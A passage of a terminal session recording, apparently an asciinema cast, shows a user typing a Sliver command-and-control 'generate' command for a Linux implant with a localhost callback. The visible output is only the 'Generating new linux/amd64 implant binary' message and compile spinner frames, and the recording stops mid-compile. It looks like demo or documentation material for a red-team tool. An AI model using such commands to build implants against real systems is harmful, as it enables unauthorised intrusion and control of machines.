[7.470447, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[30D\u001b[9C\u001b[133D\u001b[30C\u001b[?25h"]
|
||||
[7.577106, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[7.582893, "o", "\u001b[6n"]
|
||||
[7.588532, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[7.589563, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[31D\u001b[9C\u001b[133D\u001b[31C\u001b[?25h"]
|
||||
[8.661792, "o", "\u001b[?25l\u001b[133D"]
|
||||
[8.662831, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.668099, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[32D\u001b[9C\u001b[133D\u001b[32C\u001b[?25h"]
|
||||
[8.781114, "o", "\u001b[?25l"]
|
||||
[8.785696, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.795978, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[33D\u001b[9C"]
|
||||
[8.797639, "o", "\u001b[133D\u001b[33C\u001b[?25h"]
|
||||
[9.534462, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[9.549545, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--o\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[9.550816, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[34D\u001b[9C\u001b[133D\u001b[34C\u001b[?25h"]
|
||||
[9.594709, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[9.596247, "o", "\u001b[6n"]
|
||||
[9.599261, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[35D\u001b[9C\u001b[133D\u001b[35C\u001b[?25h"]
|
||||
[9.709504, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[9.71435, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[36D\u001b[9C\u001b[133D\u001b[36C\u001b[?25h"]
|
||||
[9.947512, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[9.950303, "o", "\u001b[6n"]
|
||||
[9.955871, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22ml\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[9.95709, "o", "\u001b[133D\u001b[1A\u001b[37D\u001b[9C\u001b[133D\u001b[37C\u001b[?25h"]
|
||||
[9.991716, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[9.9942, "o", "\u001b[6n"]
|
||||
[9.998267, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mli\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[38D\u001b[9C\u001b[133D\u001b[38C\u001b[?25h"]
|
||||
[10.120415, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[10.128315, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlin\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[10.129932, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[39D\u001b[9C\u001b[133D\u001b[39C\u001b[?25h"]
|
||||
[10.265526, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[10.269356, "o", "\u001b[6n"]
|
||||
[10.27651, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinu\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[10.277159, "o", "\u001b[0K"]
|
||||
[10.277858, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[40D\u001b[9C\u001b[133D\u001b[40C\u001b[?25h"]
|
||||
[10.444822, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[10.455164, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[41D"]
|
||||
[10.456268, "o", "\u001b[9C\u001b[133D\u001b[41C\u001b[?25h"]
|
||||
[10.597066, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[10.613889, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[42D\u001b[9C\u001b[133D\u001b[42C\u001b[?25h"]
|
||||
[11.142973, "o", "\u001b[?25l"]
|
||||
[11.154968, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.161529, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[43D\u001b[9C\u001b[133D\u001b[43C\u001b[?25h"]
|
||||
[11.322128, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[11.322878, "o", "\u001b[6n"]
|
||||
[11.329983, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[11.331694, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[44D\u001b[9C\u001b[133D\u001b[44C\u001b[?25h"]
|
||||
[11.556561, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.571056, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--s\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[11.573097, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[45D\u001b[9C\u001b[133D\u001b[45C\u001b[?25h"]
|
||||
[11.68511, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.696859, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--sk\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[46D"]
|
||||
[11.698563, "o", "\u001b[9C\u001b[133D\u001b[46C\u001b[?25h"]
|
||||
[11.791302, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.79852, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--ski\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[11.800015, "o", "\u001b[133D\u001b[1A\u001b[47D\u001b[9C\u001b[133D\u001b[47C\u001b[?25h"]
|
||||
[11.913696, "o", "\u001b[?25l"]
|
||||
[11.914346, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.919647, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[11.920552, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[48D\u001b[9C\u001b[133D\u001b[48C\u001b[?25h"]
|
||||
[12.290841, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[12.309675, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[12.311108, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[49D\u001b[9C\u001b[133D\u001b[49C\u001b[?25h"]
|
||||
[12.471431, "o", "\u001b[?25l"]
|
||||
[12.478421, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[12.480196, "o", "\u001b[6n"]
|
||||
[12.486789, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-s\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[12.487923, "o", "\u001b[133D\u001b[1A\u001b[50D\u001b[9C\u001b[133D\u001b[50C\u001b[?25h"]
|
||||
[12.764329, "o", "\u001b[1 q"]
|
||||
[12.803934, "o", "\u001b[1 q"]
|
||||
[12.8058, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[12.809783, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[12.81029, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[57D\u001b[9C\u001b[133D\u001b[57C\u001b[?25h"]
|
||||
[14.080367, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[14.091517, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[14.092873, "o", "\u001b[133D\u001b[1A\u001b[58D\u001b[9C\u001b[133D\u001b[58C\u001b[?25h"]
|
||||
[14.214769, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[14.228498, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[14.229843, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[59D\u001b[9C\u001b[133D\u001b[59C\u001b[?25h"]
|
||||
[14.414986, "o", "\u001b[?25l"]
|
||||
[14.42208, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[14.439069, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--d\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[14.440762, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[60D\u001b[9C\u001b[133D\u001b[60C\u001b[?25h"]
|
||||
[14.490223, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[14.492231, "o", "\u001b[6n"]
|
||||
[14.497037, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--de\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[61D"]
|
||||
[14.497271, "o", "\u001b[9C\u001b[133D\u001b[61C\u001b[?25h"]
|
||||
[14.599131, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[14.601153, "o", "\u001b[6n"]
|
||||
[14.605548, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--deb\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[14.606542, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[62D\u001b[9C\u001b[133D\u001b[62C\u001b[?25h"]
|
||||
[14.618408, "o", "\u001b[?25l\u001b[133D"]
|
||||
[14.618726, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[14.62055, "o", "\u001b[6n"]
|
||||
[14.625097, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debu\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[14.625437, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[63D\u001b[9C\u001b[133D\u001b[63C\u001b[?25h"]
|
||||
[14.855902, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[14.86238, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[14.864107, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[64D\u001b[9C\u001b[133D\u001b[64C\u001b[?25h"]
|
||||
[15.749058, "o", "\u001b[64D\u001b[9C\u001b[6n"]
|
||||
[15.761286, "o", "\u001b[133D\u001b[64C\u001b[0J\u001b[133D\r\r\n"]
|
||||
[15.765136, "o", "\u001b[0 q"]
|
||||
[15.768227, "o", "\r\n"]
|
||||
[15.803258, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mGenerating new linux/amd64 implant binary\r\n"]
|
||||
[15.904149, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[16.005203, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[16.105965, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[16.206781, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[16.311194, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[16.41465, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[16.51803, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[16.623758, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[16.718871, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[16.819526, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[16.924809, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[17.02678, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[17.127171, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[17.227426, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[17.328042, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[17.428737, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[17.529457, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[17.630094, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[17.732161, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[17.833984, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[17.936291, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[18.039656, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[18.140024, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[18.240869, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[18.341981, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[18.442275, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[18.54297, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[18.643513, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[18.744079, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[18.844525, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[18.945429, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[19.046162, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[19.14703, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[19.247855, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[19.348841, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[19.449544, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[19.550658, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[19.651443, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[19.754965, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[19.855357, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[19.95587, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[20.056202, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[20.157259, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[20.257933, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[20.358934, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[20.459548, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[20.564369, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[20.665382, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[20.767974, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[20.868518, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[20.973375, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[21.07398, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[21.178138, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[21.278962, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[21.379944, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[21.480337, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[21.582121, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[21.684478, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[21.785313, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[21.886096, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[21.987152, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[22.088001, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[22.189108, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[22.289674, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[22.390726, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[22.491814, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[22.592775, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[22.693718, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[22.794642, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[22.895611, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[22.995772, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[23.096369, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[23.198018, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[23.298959, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[23.399174, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[23.502714, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[23.603408, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[23.70356, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[23.804803, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[23.905923, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[24.006679, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[24.108007, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[24.208928, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[24.309787, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[24.410978, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[24.511347, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[24.611956, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[24.712921, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[24.814289, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[24.91523, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[25.016194, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[25.117255, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[25.218339, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[25.319097, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[25.41977, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[25.520035, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[25.62074, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[25.722191, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[25.823081, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[25.923163, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[26.023888, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[26.12481, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[26.225078, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[26.325274, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[26.426144, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[26.527424, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[26.628631, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[26.729415, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[26.830057, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[26.930825, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[27.031493, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[27.132354, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[27.233695, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[27.334517, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[27.43576, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[27.539277, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[27.643729, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[27.744542, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[27.845531, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[27.945804, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[28.050552, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[28.151408, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[28.25216, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[28.352809, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
